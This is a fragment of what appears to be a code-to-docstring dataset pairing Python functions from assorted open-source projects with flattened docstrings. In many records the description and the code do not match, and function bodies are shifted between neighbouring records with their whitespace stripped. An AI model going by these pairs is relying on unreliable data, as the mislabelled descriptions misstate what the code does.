'Service Pack ':csd = 'SP' + csd[13:]# VER_NT_SERVER = 3if getattr(winver, 'product_type', None) == 3:release = (_WIN32_SERVER_RELEASES.get((maj, min)) or_WIN32_SERVER_RELEASES.get((maj, None)) orrelease)try:try:import winregexcept ImportError:import _winreg as winregexcept ImportError:passelse:try:cvkey = r'SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion'with winreg.OpenKeyEx(winreg.HKEY_LOCAL_MACHINE, cvkey) as key:ptype = winreg.QueryValueEx(key, 'CurrentType')[0]except OSError:passreturn release, version, csd, ptypedef _mac_ver_xml():fn = '/System/Library/CoreServices/SystemVersion.plist'if not os.path.exists(fn):return Nonetry:import plistlibexcept ImportError:return Nonewith open(fn, 'rb') as f:pl = plistlib.load(f)release = pl['ProductVersion']versioninfo = ('', '', '')machine = os.uname().machineif machine in ('ppc', 'Power Macintosh'):# Canonical namemachine = 'PowerPC'return release, versioninfo, machinedef mac_ver(release='', versioninfo=('', '', ''), machine=''): Get macOS version information and return it as tuple (release,"} {"code": "def _has_checkisomd5(self):\n isoloop = DiskMount(LoopbackDisk(base_on, 0), self._mkdtemp())\n\n try:\n isoloop.mount()\n except MountError as e:\n raise CreatorError(\"Failed to loopback mount '%s' : %s\" %\n (base_on, e))\n\n src = isoloop.mountdir + \"/isolinux/\"\n dest = self.__ensure_isodir() + \"/isolinux/\"\n makedirs(dest)\n pattern = re.compile(r\"(initrd\\d+\\.img|xen\\d+\\.gz)\")\n files = [f for f in os.listdir(src) if pattern.search(f)\n and os.path.isfile(src+f)]\n for f in files:\n shutil.copyfile(src+f, dest+f)\n\n if os.path.exists(isoloop.mountdir + \"/squashfs.img\"):\n squashimg = isoloop.mountdir + \"/squashfs.img\"\n else:\n squashimg = isoloop.mountdir + \"/LiveOS/squashfs.img\"\n\n squashloop = DiskMount(LoopbackDisk(squashimg, 0), self._mkdtemp(), \"squashfs\")\n\n if self.compress_args is None:\n self.compress_args = squashfs_compression_type(squashimg)\n if self.compress_args == 'undetermined':\n self.compress_args = 'gzip'\n try:\n if not squashloop.disk.exists():\n raise CreatorError(\"'%s' is not a valid live CD ISO : \"\n \"squashfs.img doesn't exist\" % base_on)\n\n try:\n squashloop.mount()\n except MountError as e:\n raise CreatorError(\"Failed to loopback mount squashfs.img \"\n \"from '%s' : %s\" % (base_on, e))\n\n os_image = os.path.join(squashloop.mountdir, 'proc')\n if os.path.isdir(os_image):\n os_image = squashimg\n else:\n for f in ('rootfs.img', 'ext3fs.img'):\n os_image = os.path.join(squashloop.mountdir, 'LiveOS', f)\n if os.path.exists(os_image):\n break\n\n if not os.path.exists(os_image):\n raise CreatorError(\"'%s' is not a valid live CD ISO : neither \"\n \"LiveOS/rootfs.img, ext3fs.img, nor squashfs.img exist\" %\n base_on)\n\n try:\n shutil.copyfile(os_image, self._image)\n except IOError as e:\n raise CreatorError(\"Failed to copy base live image to %s for modification: %s\" %(self._image, e))\n finally:\n squashloop.cleanup()\n isoloop.cleanup()\n", "nl": "Check whether checkisomd5 is available in the install root.return chrootentitycheck('checkisomd5', self._instroot)## Actual implementation#def _base_on(self, base_on):helper function to extract ext3 file system from a live CD ISO"} {"code": "def update(self, value):\n self.value['n'] = int(self.value['n']) + 1\n self.value['x_bar'] = float(self.value['x_bar']) + ( (float(value['x']) - float(self.value['x_bar'])) / int(self.value['n']) )\n self.value['y_bar'] = float(self.value['y_bar']) + ( (float(value['y']) - float(self.value['y_bar'])) / int(self.value['n']) )\n self.value['cov'] = float(self.value['cov']) + ((float(value['y']) - float(self.value['y_bar'])) * (float(value['x']) - float(self.value['x_bar'])))\n", "nl": " Adds value to covariance.:param dict value: A dict of ints of x and y."} {"code": "def stop(self):\n logging.info(\"resetting vm\")\n self.lock()\n progress = self.mach.restoreSnapshot(self.mach.currentSnapshot)\n progress.waitForCompletion(-1)\n self.unlock()\n", "nl": "Stops the virtual machine guest.progress = self.session.console.powerDown()progress.waitForCompletion(-1)self.unlock()def reset(self):Rolls the virtual machine back to its last snapshot."} {"code": "def do_auth(self, sid, certs_url):\n txid = self.details['signature'].split(\":\")[0]\n fake_path = 'http://0.0.0.0:3000/duo&v=2.1'\n url = \"https://{}/frame/web/v1/auth?tx={}&parent={}\".format(\n self.details['host'], txid, fake_path)\n\n if sid and certs_url:\n self.session.params = {sid: sid, certs_url: certs_url}\n\n self.session.headers = {\n 'Origin': \"https://{}\".format(self.details['host']),\n 'Content-Type': \"application/x-www-form-urlencoded\"\n }\n\n ret = self.session.post(url, allow_redirects=False)\n\n if ret.status_code == 302:\n try:\n location = ret.headers['Location']\n sid = location.split(\"=\")[1]\n except KeyError:\n raise Exception(\"Location missing from auth response header.\")\n elif ret.status_code == 200 and sid is None:\n sid = ret.json()['response']['sid']\n certs_url = ret.json()['response']['certs_url']\n sid = self.do_auth(sid, certs_url)\n else:\n raise Exception(\"Duo request failed.\")\n\n return sid\n", "nl": "Handle initial auth with DuoArgs:sid: String Duo session ID if we have itcerts_url: String certificates URL if we have itReturns:String Duo session ID"} {"code": "def test_find_changes_batch(self):\n from security_monkey.watchers.iam.iam_role import IAMRole\n\n self.setup_batch_db()\n\n watcher = IAMRole(accounts=[self.account.name])\n watcher.current_account = (self.account, 0)\n watcher.technology = self.technology\n\n items = []\n for x in range(0, 5):\n mod_conf = dict(ACTIVE_CONF)\n mod_conf[\"name\"] = \"SomeRole{}\".format(x)\n mod_conf[\"Arn\"] = \"arn:aws:iam::012345678910:role/SomeRole{}\".format(x)\n\n items.append(SomeTestItem().from_slurp(mod_conf, account_name=self.account.name))\n\n assert len(watcher.find_changes(items)) == 5\n assert len(watcher.deleted_items) == 0\n assert len(watcher.changed_items) == 0\n assert len(watcher.created_items) == 5\n\n watcher_2 = IAMRole(accounts=[self.account.name])\n watcher_2.current_account = (self.account, 0)\n watcher_2.technology = self.technology\n\n assert len(watcher_2.find_changes(items)) == 0\n assert len(watcher_2.deleted_items) == 0\n assert len(watcher_2.changed_items) == 0\n assert len(watcher_2.created_items) == 0\n", "nl": "This will test the entry point via the find_changes() method vs. the find_changes_batch() method.This will also use the IAMRole watcher, since that already has batching support.:return:"} {"code": "def snd_max_doy(snd: xarray.DataArray, freq: str = \"AS-JUL\") -> xarray.DataArray:\n from xclim.core.missing import at_least_n_valid\n\n valid = at_least_n_valid(snd.where(snd > 0), n=1, freq=freq)\n\n out = generic.select_resample_op(snd, op=generic.doymax, freq=freq)\n out.attrs.update(units=\"\", is_dayofyear=np.int32(1), calendar=get_calendar(snd))\n\n return out.where(~valid)\n\n\n@declare_units(snw=\"[mass]/[area]\")", "nl": "Maximum snow depth day of year.Day of year when surface snow reaches its peak value. If snow depth is 0 over entire period, return NaN.Parameters----------snd : xarray.DataArraySurface snow depth.freq : strResampling frequency.Returns-------xarray.DataArrayThe day of year at which snow depth reaches its maximum value."} {"code": "def run_cgi(self):\n\n This runs an HTTP server on port 8000 (or the port argument).\n\n \"\"\"", "nl": "Execute a CGI script.dir, rest = self.cgi_infopath = dir + '/' + resti = path.find('/', len(dir)+1)while i >= 0:nextdir = path[:i]nextrest = path[i+1:]scriptdir = self.translate_path(nextdir)if os.path.isdir(scriptdir):dir, rest = nextdir, nextresti = path.find('/', len(dir)+1)else:break# find an explicit query string, if present.rest, _, query = rest.partition('?')# dissect the part after the directory name into a script name &# a possible additional path, to be stored in PATH_INFO.i = rest.find('/')if i >= 0:script, rest = rest[:i], rest[i:]else:script, rest = rest, ''scriptname = dir + '/' + scriptscriptfile = self.translate_path(scriptname)if not os.path.exists(scriptfile):self.send_error(HTTPStatus.NOT_FOUND,\"No such CGI script (%r)\" % scriptname)returnif not os.path.isfile(scriptfile):self.send_error(HTTPStatus.FORBIDDEN,\"CGI script is not a plain file (%r)\" % scriptname)returnispy = self.is_python(scriptname)if self.have_fork or not ispy:if not self.is_executable(scriptfile):self.send_error(HTTPStatus.FORBIDDEN,\"CGI script is not executable (%r)\" % scriptname)return# Reference: http://hoohoo.ncsa.uiuc.edu/cgi/env.html# XXX Much of the following could be prepared ahead of time!env = copy.deepcopy(os.environ)env['SERVER_SOFTWARE'] = self.version_string()env['SERVER_NAME'] = self.server.server_nameenv['GATEWAY_INTERFACE'] = 'CGI/1.1'env['SERVER_PROTOCOL'] = self.protocol_versionenv['SERVER_PORT'] = str(self.server.server_port)env['REQUEST_METHOD'] = self.commanduqrest = urllib.parse.unquote(rest)env['PATH_INFO'] = uqrestenv['PATH_TRANSLATED'] = self.translate_path(uqrest)env['SCRIPT_NAME'] = scriptnameif query:env['QUERY_STRING'] = queryenv['REMOTE_ADDR'] = self.client_address[0]authorization = self.headers.get(\"authorization\")if authorization:authorization = authorization.split()if len(authorization) == 2:import base64, binasciienv['AUTH_TYPE'] = authorization[0]if authorization[0].lower() == \"basic\":try:authorization = authorization[1].encode('ascii')authorization = base64.decodebytes(authorization).\\decode('ascii')except (binascii.Error, UnicodeError):passelse:authorization = authorization.split(':')if len(authorization) == 2:env['REMOTE_USER'] = authorization[0]# XXX REMOTE_IDENTif self.headers.get('content-type') is None:env['CONTENT_TYPE'] = self.headers.get_content_type()else:env['CONTENT_TYPE'] = self.headers['content-type']length = self.headers.get('content-length')if length:env['CONTENT_LENGTH'] = lengthreferer = self.headers.get('referer')if referer:env['HTTP_REFERER'] = refereraccept = []for line in self.headers.getallmatchingheaders('accept'):if line[:1] in \"\\t\\n\\r \":accept.append(line.strip())else:accept = accept + line[7:].split(',')env['HTTP_ACCEPT'] = ','.join(accept)ua = self.headers.get('user-agent')if ua:env['HTTP_USER_AGENT'] = uaco = filter(None, self.headers.get_all('cookie', []))cookie_str = ', '.join(co)if cookie_str:env['HTTP_COOKIE'] = cookie_str# XXX Other HTTP_* headers# Since we're setting the env in the parent, provide empty# values to override previously set valuesfor k in ('QUERY_STRING', 'REMOTE_HOST', 'CONTENT_LENGTH','HTTP_USER_AGENT', 'HTTP_COOKIE', 'HTTP_REFERER'):env.setdefault(k, \"\")self.send_response(HTTPStatus.OK, \"Script output follows\")self.flush_headers()decoded_query = query.replace('+', ' ')if self.have_fork:# Unix -- fork as we shouldargs = [script]if '=' not in decoded_query:args.append(decoded_query)nobody = nobody_uid()self.wfile.flush() # Always flush before forkingpid = os.fork()if pid != 0:# Parentpid, sts = os.waitpid(pid, 0)# throw away additional data [see bug #427345]while select.select([self.rfile], [], [], 0)[0]:if not self.rfile.read(1):breakif sts:self.log_error(\"CGI script exit status %#x\", sts)return# Childtry:try:os.setuid(nobody)except OSError:passos.dup2(self.rfile.fileno(), 0)os.dup2(self.wfile.fileno(), 1)os.execve(scriptfile, args, env)except:self.server.handle_error(self.request, self.client_address)os._exit(127)else:# Non-Unix -- use subprocessimport subprocesscmdline = [scriptfile]if self.is_python(scriptfile):interp = sys.executableif interp.lower().endswith(\"w.exe\"):# On Windows, use python.exe, not pythonw.exeinterp = interp[:-5] + interp[-4:]cmdline = [interp, '-u'] + cmdlineif '=' not in query:cmdline.append(query)self.log_message(\"command: %s\", subprocess.list2cmdline(cmdline))try:nbytes = int(length)except (TypeError, ValueError):nbytes = 0p = subprocess.Popen(cmdline,stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.PIPE,env = env)if self.command.lower() == \"post\" and nbytes > 0:data = self.rfile.read(nbytes)else:data = None# throw away additional data [see bug #427345]while select.select([self.rfile._sock], [], [], 0)[0]:if not self.rfile._sock.recv(1):breakstdout, stderr = p.communicate(data)self.wfile.write(stdout)if stderr:self.log_error('%s', stderr)p.stderr.close()p.stdout.close()status = p.returncodeif status:self.log_error(\"CGI script exit status %#x\", status)else:self.log_message(\"CGI script exited OK\")def test(HandlerClass=BaseHTTPRequestHandler,ServerClass=ThreadingHTTPServer,protocol=\"HTTP/1.0\", port=8000, bind=\"\"):Test the HTTP request handler class."} {"code": "def get_subdirectory(cls, location: str) -> Optional[str]:\n return None\n\n @classmethod", "nl": "Return the path to Python project root, relative to the repo root.Return None if the project root is in the repo root."} {"code": "def users(self):\n return Users(self)\n\n\nclass Endpoint(object):\n \"\"\"This class represents individual Splunk resources in the Splunk REST API.", "nl": "Returns the collection of users.:return: A :class:`Users` collection of :class:`User` entities."} {"code": "def n_categories(self):\n The class of ExpConcrete distribution from (Maddison, 2016), transformed\n from :class:`~Concrete` by taking logarithm.\n\n See Also:\n :class:`tfsnippet.distributions.Distribution`,\n :class:`zhusuan.distributions.Distribution`,\n :class:`zhusuan.distributions.ExpConcrete`\n \"\"\"", "nl": "The number of categories in the distribution.return self._distribution.n_categoriesclass ExpConcrete(ZhuSuanDistribution):"} {"code": "def firmware(self):\n return self.id\n\n @property", "nl": "Return the firmware of this tracker.if self.id in self.coordinator.data:return self.coordinator.data[self.id][\"firmware\"]@propertydef unique_id(self):Return a unique ID to use for this entity."} {"code": "def open(self) -> None:\n if not self._open:\n return\n\n if linux:\n adsDelRoute(self._adr.netIdStruct())\n\n if self._port is not None:\n adsPortCloseEx(self._port)\n self._port = None\n\n self._open = False\n", "nl": "Connect to the TwinCAT message router.if self._open:returnif self.ams_net_id is None:self.ams_net_id = adsGetNetIdForPLC(self.ip_address)self._adr = AmsAddr(self.ams_net_id, self.ams_net_port)self._port = adsPortOpenEx()if linux:adsAddRoute(self._adr.netIdStruct(), self.ip_address)self._open = Truedef close(self) -> None::summary: Close the connection to the TwinCAT message router."} {"code": "def _lookupChannelErrorTest(self, code):\n self.transport.avatar._ARGS_ERROR_CODE = code\n self.conn.ssh_CHANNEL_OPEN(\n common.NS(b'conch-error-args') + b'\\x00\\x00\\x00\\x01' * 4)\n errors = self.flushLoggedErrors(error.ConchError)\n self.assertEqual(\n len(errors), 1, \"Expected one error, got: %r\" % (errors,))\n self.assertEqual(errors[0].value.args, (long(123), \"error args in wrong order\"))\n self.assertEqual(\n self.transport.packets,\n [(connection.MSG_CHANNEL_OPEN_FAILURE,\n b'\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x7b' + common.NS(\n b'error args in wrong order') + common.NS(b''))])\n\n", "nl": "Deliver a request for a channel open which will result in an exceptionbeing raised during channel lookup. Assert that an error response isdelivered as a result."} {"code": "def nll_loss(self, logits, labels):\n return F.nll_loss(logits, labels)\n", "nl": "Calculates lossParameters:logits: A Torch tensor of the model output predictionslabels: A Torch tensor of the true values for predictionsReturns:Loss"} {"code": "def __str__(self):\n return self.__str__()\n\nclass PartyInfo (PartyInfoBase):\n \"\"\"\n notify = DirectNotifyGlobal.directNotify.newCategory(\"PartyInfo\")\n", "nl": "Return a useful string representation of this object.string = \"partyId=%d \" % self.partyIdstring += \"hostId=%d \" % self.hostIdstring += \"start=%s \" % self.startTimestring += \"end=%s \" % self.endTimestring += \"isPrivate=%s \" % self.isPrivatestring += \"inviteTheme=%s \" % InviteTheme.getString(self.inviteTheme)string += \"activityList=%s \" % self.activityListstring += \"decors=%s \" % self.decorsstring += \"status=%s\" % self.statusstring += \"\\n\" # I need a line break to read the debug output easierreturn stringdef __repr__(self):Return a string used in debugging."} {"code": "def get_config_spec() -> Union[str, dict]:\n return ''.format(self.name)\n\n @property", "nl": "Return config spec for mode_settings.return {'__valid_in__': 'mode', '__allow_others__': ''}def __repr__(self):Return string representation."} {"code": "def minimum_maximum_datetime(self):\n minimum_datetime = QDateTime()\n minimum_datetime.setTime_t(1488322800)\n tomorrow_datetime = QDateTime().currentDateTime().addDays(1)\n return minimum_datetime, tomorrow_datetime\n", "nl": "Get minimum and maximum datetime:rtype: Tuple[PyQt5.QtCore.QDateTime, PyQt5.QtCore.QDateTime]:return: minimum and maximum datetime"} {"code": "def __init__(self, uri):\n self.uri = nativeString(uri)\n self.headers = Headers()\n\n _uri = URI.fromBytes(uri)\n self.type = nativeString(_uri.scheme)\n self.host = nativeString(_uri.host)\n\n if (_uri.scheme, _uri.port) not in ((b'http', 80), (b'https', 443)):\n self.host += \":\" + str(_uri.port)\n\n if _PY3:\n self.origin_req_host = nativeString(_uri.host)\n self.unverifiable = lambda _: False\n\n", "nl": "Create a fake Urllib2 request.@param uri: Request URI.@type uri: L{bytes}"} {"code": "def _minute_exclusion_tree(self):\n itree = IntervalTree()\n for market_open, early_close in self._minutes_to_exclude():\n start_pos = self._find_position_of_minute(early_close) + 1\n end_pos = (\n self._find_position_of_minute(market_open)\n +\n self._minutes_per_day\n -\n 1\n )\n data = (start_pos, end_pos)\n itree[start_pos:end_pos + 1] = data\n return itree\n", "nl": "Build an interval tree keyed by the start and end of each rangeof positions should be dropped from windows. (These are the minutesbetween an early close and the minute which would be the close basedon the regular period if there were no early close.)The value of each node is the same start and end position stored asa tuple.The data is stored as such in support of a fast answer to the question,does a given start and end position overlap any of the exclusion spans?Returns-------IntervalTree containing nodes which represent the minutes to excludebecause of early closes."} {"code": "def switch_to_line_in(self, source=None):\n if source:\n uid = source.uid\n else:\n uid = self.uid\n\n self.avTransport.SetAVTransportURI(\n [\n (\"InstanceID\", 0),\n (\"CurrentURI\", \"x-rincon-stream:{0}\".format(uid)),\n (\"CurrentURIMetaData\", \"\"),\n ]\n )\n\n @property", "nl": "Switch the speaker's input to line-in.Args:source (SoCo): The speaker whose line-in should be played.Default is line-in from the speaker itself."} {"code": "def test_negative_stride_from_python(msg):\n\n counting_mat = np.arange(9.0, dtype=np.float32).reshape((3, 3))\n counting_mat = counting_mat[::-1, ::-1]\n second_row = counting_mat[1, :]\n second_col = counting_mat[:, 1]\n np.testing.assert_array_equal(m.double_row(second_row), 2.0 * second_row)\n np.testing.assert_array_equal(m.double_col(second_row), 2.0 * second_row)\n np.testing.assert_array_equal(m.double_complex(second_row), 2.0 * second_row)\n np.testing.assert_array_equal(m.double_row(second_col), 2.0 * second_col)\n np.testing.assert_array_equal(m.double_col(second_col), 2.0 * second_col)\n np.testing.assert_array_equal(m.double_complex(second_col), 2.0 * second_col)\n\n counting_3d = np.arange(27.0, dtype=np.float32).reshape((3, 3, 3))\n counting_3d = counting_3d[::-1, ::-1, ::-1]\n slices = [counting_3d[0, :, :], counting_3d[:, 0, :], counting_3d[:, :, 0]]\n for slice_idx, ref_mat in enumerate(slices):\n np.testing.assert_array_equal(m.double_mat_cm(ref_mat), 2.0 * ref_mat)\n np.testing.assert_array_equal(m.double_mat_rm(ref_mat), 2.0 * ref_mat)\n\n with pytest.raises(TypeError) as excinfo:\n m.double_threer(second_row)\n assert msg(excinfo.value) == \"\"\"\n\n with pytest.raises(TypeError) as excinfo:\n m.double_threec(second_col)\n assert msg(excinfo.value) == \"\"\"\n\n", "nl": "Eigen doesn't support (as of yet) negative strides. When a function takes an Eigen matrix bycopy or const reference, we can pass a numpy array that has negative strides. Otherwise, anexception will be thrown as Eigen will not be able to map the numpy array."} {"code": "def get_linguist_project(self, name, raises=False):\n project_with_same_name = self.get_linguist_project(new_project.name,\n raises=False)\n if project_with_same_name:\n raise Exception(\n \"\"\"Found two projects with the same name ({0})\\nIn:\\n* {1}\\n* {2}\\n\"\"\".format(", "nl": " Get Linguits Project for project in self.linguist_projects:if project.name == name:return projectif raises:mess = ui.did_you_mean(\"No such linguist project: %s\" % name,name, [x.name for x in self.linguist_projects])raise qisys.worktree.NoSuchProject(name, mess)else:return Nonedef check_unique_name(self, new_project): Check Unique Name "} {"code": "def load(self, filename):\n self.mData = load(open(filename))\n", "nl": "**SUMMARY**Load the color model from the specified file.**TO DO**This should be converted to pickle.**PARAMETERS*** *filename* - The file name and path to load the data from.**RETURNS**Nothing.**EXAMPLE**>>> cm = ColorModel()>>> cm.load(\"myColors.txt\")>>> cm.add(Color.RED)>>> cm.add(Color.BLUE)>>> cm.save(\"mymodel)"} {"code": "def fill(self, text):\n return \"\\n\".join(self.wrap(text))\n\n\n", "nl": "fill(text : string) -> stringReformat the single paragraph in 'text' to fit in lines of nomore than 'self.width' columns, and return a new stringcontaining the entire wrapped paragraph."} {"code": "def is_type_compatible(self, kind) -> bool:\n return kind == self.inferred_type\n\n _index_shared_docs[\n \"contains\"\n ] = \"\"\"\n\n @Appender(_index_shared_docs[\"contains\"] % _index_doc_kwargs)", "nl": "Whether the index type is compatible with the provided type."} {"code": "def execute_sql(self, result_type=None):\n cursor = super(UpdateQuery, self).execute_sql(result_type)\n rows = cursor.rowcount\n del cursor\n for query in self.get_related_updates():\n query.execute_sql(result_type)\n return rows\n", "nl": "Execute the specified update. Returns the number of rows affected bythe primary update query (there could be other updates on relatedtables, but their rowcounts are not returned)."} {"code": "def testMemoryLimit(self):\n\n trManager = TransactionManager(timedelta(seconds=0), MAX_QUEUE_SIZE,\n THROTTLING_DELAY, max_endpoint_errors=100)\n trManager._flush_without_ioloop = True\n\n oneTrSize = MAX_QUEUE_SIZE / 10\n for i in xrange(3):\n tr = memTransaction(oneTrSize, trManager)\n trManager.append(tr)\n\n before = datetime.utcnow()\n trManager.flush()\n after = datetime.utcnow()\n self.assertTrue((after - before) > 3 * THROTTLING_DELAY - timedelta(microseconds=100000),\n \"before = %s after = %s\" % (before, after))\n", "nl": "Test memory limit as well as simple flush# No throttling, no delay for replaytrManager = TransactionManager(timedelta(seconds=0), MAX_QUEUE_SIZE,timedelta(seconds=0), max_endpoint_errors=100)step = 10oneTrSize = (MAX_QUEUE_SIZE / step) - 1for i in xrange(step):trManager.append(memTransaction(oneTrSize, trManager))trManager.flush()# There should be exactly step transaction in the list, with# a flush count of 1self.assertEqual(len(trManager._transactions), step)for tr in trManager._transactions:self.assertEqual(tr._flush_count, 1)# Try to add one moretrManager.append(memTransaction(oneTrSize + 10, trManager))# At this point, transaction one (the oldest) should have been removed from the listself.assertEqual(len(trManager._transactions), step)for tr in trManager._transactions:self.assertNotEqual(tr._id, 1)trManager.flush()self.assertEqual(len(trManager._transactions), step)# Check and allow transactions to be flushedfor tr in trManager._transactions:tr.is_flushable = True# Last transaction has been flushed only onceif tr._id == step + 1:self.assertEqual(tr._flush_count, 1)else:self.assertEqual(tr._flush_count, 2)trManager.flush()self.assertEqual(len(trManager._transactions), 0)def testThrottling(self):Test throttling while flushing"} {"code": "def contents(self, value):\n\n self._normalized = False\n self._contents = value\n", "nl": ":param value:A byte string of the DER-encoded contents of the sequence"} {"code": "def make_tar_file(source_file, output_name):\n with tarfile.open(output_name, 'w:gz') as tar:\n tar.add(source_file, arcname=os.path.basename(source_file))\n\n", "nl": "Tar/gzips a file or folder:param source_file: the source file of folder to zipped:param output_name: the output folder:return:"} {"code": "def test_failure_threshold_deletions(self):\n Test that deletion does not affect paging for distinct queries.\n\n @jira_ticket CASSANDRA-10010\n \"\"\"", "nl": "Test that paging throws a failure in case of tombstone threshold supports_v5_protocol = self.cluster.version() >= LooseVersion('3.10')self.allow_log_errors = Trueself.cluster.set_configuration_options(values={'tombstone_failure_threshold': 500})self.session = self.prepare()self.setup_data()# Add more datavalues = map(lambda i: uuid.uuid4(), range(3000))for value in values:self.session.execute(SimpleStatement(\"insert into paging_test (id, mytext, col1) values (1, '{}', null) \".format(value),consistency_level=CL.ALL))try:self.session.execute(SimpleStatement(\"select * from paging_test\", fetch_size=1000, consistency_level=CL.ALL, retry_policy=FallthroughRetryPolicy()))except ReadTimeout as exc:self.assertTrue(self.cluster.version() < LooseVersion('2.2'))except ReadFailure as exc:if supports_v5_protocol:self.assertIsNotNone(exc.error_code_map)self.assertEqual(0x0001, exc.error_code_map.values()[0])except Exception:raiseelse:self.fail('Expected ReadFailure or ReadTimeout, depending on the cluster version')if self.cluster.version() < \"3.0\":failure_msg = (\"Scanned over.* tombstones in test_paging_size.\"\"paging_test.* query aborted\")else:failure_msg = (\"Scanned over.* tombstones during query.* query aborted\")self.cluster.wait_for_any_log(failure_msg, 25)@since('2.2.6')def test_deletion_with_distinct_paging(self):"} {"code": "def __init__(self, num_groundtruth_classes, matching_iou_threshold=0.5):\n self.matching_iou_threshold = matching_iou_threshold\n self.num_groundtruth_classes = num_groundtruth_classes\n", "nl": "Initialized PerImageEvaluation by evaluation parameters.Args:num_groundtruth_classes: Number of ground truth object classesmatching_iou_threshold: A ratio of area intersection to union, which isthe threshold to consider whether a detection is true positive or not"} {"code": "def detach(self):\n self._closed = True\n return super().detach()\n", "nl": "detach() -> file descriptorClose the socket object without closing the underlying file descriptor.The object cannot be used after this call, but the file descriptorcan be reused for other purposes. The file descriptor is returned."} {"code": "def _make_block_inputs(self, diagram, fit, block_name, block, cluster_edges, variable_blocks):\n input_alt_names = self.input_names.get(block_name, dict())\n input_variables = set(variable['name'] for variable in block.produce_args)\n\n if fit:\n for input_variable in block.fit_args:\n if input_variable['name'] not in input_variables:\n input_variables.add(input_variable['name'])\n\n for input_name in input_variables:\n input_block = block_name\n arrowhead = 'normal'\n if input_name in input_alt_names:\n input_variable_label = block_name + ' ' + input_name + ' (input)'\n diagram.node(input_variable_label,\n '(' + input_name + ')', fontcolor='blue')\n cluster_edges.add((input_variable_label, block_name, 'normal'))\n input_name = input_alt_names[input_name]\n input_block = input_variable_label\n arrowhead = 'none'\n\n if input_name in variable_blocks.keys():\n variable_blocks[input_name].add((input_block, arrowhead))\n else:\n variable_blocks[input_name] = {(input_block, arrowhead)}\n", "nl": "Modifies the diagram to add the corresponding input variables to the corresponding blockand their edges as outputs to other blocks by modifying `variable_blocks`. Additionallymodifies a set of edges to add any edges between an alternative input name and this block.Args:diagram (Digraph):Diagram to be modified.fit (bool):`True` if including fitted arguments, `False` otherwise.block_name (str):Name of block whose input variables are to be added to the diagramblock (MLBlock):Block whose input variables are to be added to the diagramcluster_edges (set):Set of tuples representing edges between alternative variable names and theircorresponding block and the type of arrowheadvariable_blocks (dict):Dictionary of variable names and the set of tuples of blocks into which thevariable connects and the type of arrowhead to use"} {"code": "def test_calculate_updates():\n\n problem = ContinuousOpt(5, OneMax(), maximize=True,\n min_val=0, max_val=1, step=1)\n\n x = np.array([0, 1, 0, 1, 0])\n problem.set_state(x)\n\n problem.find_neighbors()\n\n neigh = np.array([[1, 1, 0, 1, 0],\n [0, 0, 0, 1, 0],\n [0, 1, 1, 1, 0],\n [0, 1, 0, 0, 0],\n [0, 1, 0, 1, 1]])\n\n assert np.array_equal(np.array(problem.neighbors), neigh)\n\n @staticmethod", "nl": "Test calculate_updates methodX = np.array([[0, 1, 0, 1],[0, 0, 0, 0],[1, 1, 1, 1],[1, 1, 1, 1],[0, 0, 1, 1],[1, 0, 0, 0]])y = np.reshape(np.array([1, 1, 0, 0, 1, 1]), [6, 1])nodes = [4, 2, 1]fitness = NetworkWeights(X, y, nodes, activation=identity,bias=False, is_classifier=False,learning_rate=1)a = list(np.arange(8) + 1)b = list(0.01*(np.arange(2) + 1))weights = a + bfitness.evaluate(weights)problem = ContinuousOpt(10, fitness, maximize=False)updates = problem.calculate_updates()update1 = np.array([[-0.0017, -0.0034],[-0.0046, -0.0092],[-0.0052, -0.0104],[0.0014, 0.0028]])update2 = np.array([[-3.17],[-4.18]])assert (np.allclose(updates[0], update1, atol=0.001)and np.allclose(updates[1], update2, atol=0.001))@staticmethoddef test_find_neighbors_range_eq_step():Test find_neighbors method when range equals step size"} {"code": "def get_end_time(self) -> int:\n end_time = self.get_max_length()\n if self.tempo is not None and end_time < self.tempo.shape[0]:\n end_time = self.tempo.shape[0]\n if self.beat is not None and end_time < self.beat.shape[0]:\n end_time = self.beat.shape[0]\n if self.downbeat is not None and end_time < self.downbeat.shape[0]:\n end_time = self.downbeat.shape[0]\n return end_time\n", "nl": "Return the end time of the multitrack.Returns-------intMaximum length (in time steps) of the tempo, beat, downbeatarrays and all piano rolls."} {"code": "def handle_child_crash():\n tty = open('/dev/tty', 'wb')\n tty.write('\\n\\nFORKED CHILD PID %d CRASHED\\n%s\\n\\n' % (\n os.getpid(),\n traceback.format_exc(),\n ))\n tty.close()\n os._exit(1)\n\n", "nl": "Respond to _child_main() crashing by ensuring the relevant exception islogged to /dev/tty."} {"code": "def _check_allowed(request, offering, acl_value, date=None):\n acl_value = Page.adjust_acl_release(acl_value, date)\n\n if request.user.is_authenticated:\n userid = request.user.username\n else:\n userid = '!'\n\n m = _allowed_member(userid, offering, acl_value)\n if m and isinstance(m, Member):\n return m\n\n p = _allowed_permission(userid, offering, acl_value)\n return p\n\n", "nl": "Check to see if the person is allowed to do this Page action.Returns Member object if possible; True if non-member who is allowed, or None if not allowed.If a release date is given and is in the future, acl_value is tightened accordingly."} {"code": "def test_failureElementTraceback(self):\n element = FailureElement(self.failure)\n renderer = element.lookupRenderMethod(\"traceback\")\n tag = tags.div()\n result = renderer(None, tag)\n self.assertIsInstance(result, _StackElement)\n self.assertIdentical(result.stackFrames, self.failure.frames)\n self.assertEqual([tag], result.loader.load())\n\n", "nl": "The I{traceback} renderer of L{FailureElement} renders the failure'sstack frames using L{_StackElement}."} {"code": "def get_col_as_str(self, col: str, na_as_str: bool = False) -> dd.Series:\n if self._ddf is None:\n raise RuntimeError(\"dataframe is empty!\")\n\n if (self._columns is None) or (col not in self._columns):\n raise RuntimeError(f\"column is not exists: {col}\")\n\n if (col, na_as_str) in self._str_col_cache:\n return self._str_col_cache[(col, na_as_str)]\n\n if (isinstance(self._eda_dtypes[col], (Nominal, GeoGraphy))) and (\n (na_as_str and self.get_missing_cnt(col) == 0) or (not na_as_str)\n ):\n return self._ddf[col]\n\n if na_as_str:\n self._str_col_cache[(col, na_as_str)] = self._ddf[col].astype(str).persist()\n else:\n self._str_col_cache[(col, na_as_str)] = (\n self._ddf[col].apply(_to_str_if_not_na, meta=(col, \"object\")).persist()\n )\n\n return self._str_col_cache[(col, na_as_str)]\n", "nl": "Return the column as string column.If na_as_str is True, then NA vlaues will also be transformed to str,otherwise it is kept as NA."} {"code": "def dsplit(ary, indices_or_sections):\n if _nx.ndim(ary) < 3:\n raise ValueError('dsplit only works on arrays of 3 or more dimensions')\n return split(ary, indices_or_sections, 2)\n", "nl": "Split array into multiple sub-arrays along the 3rd 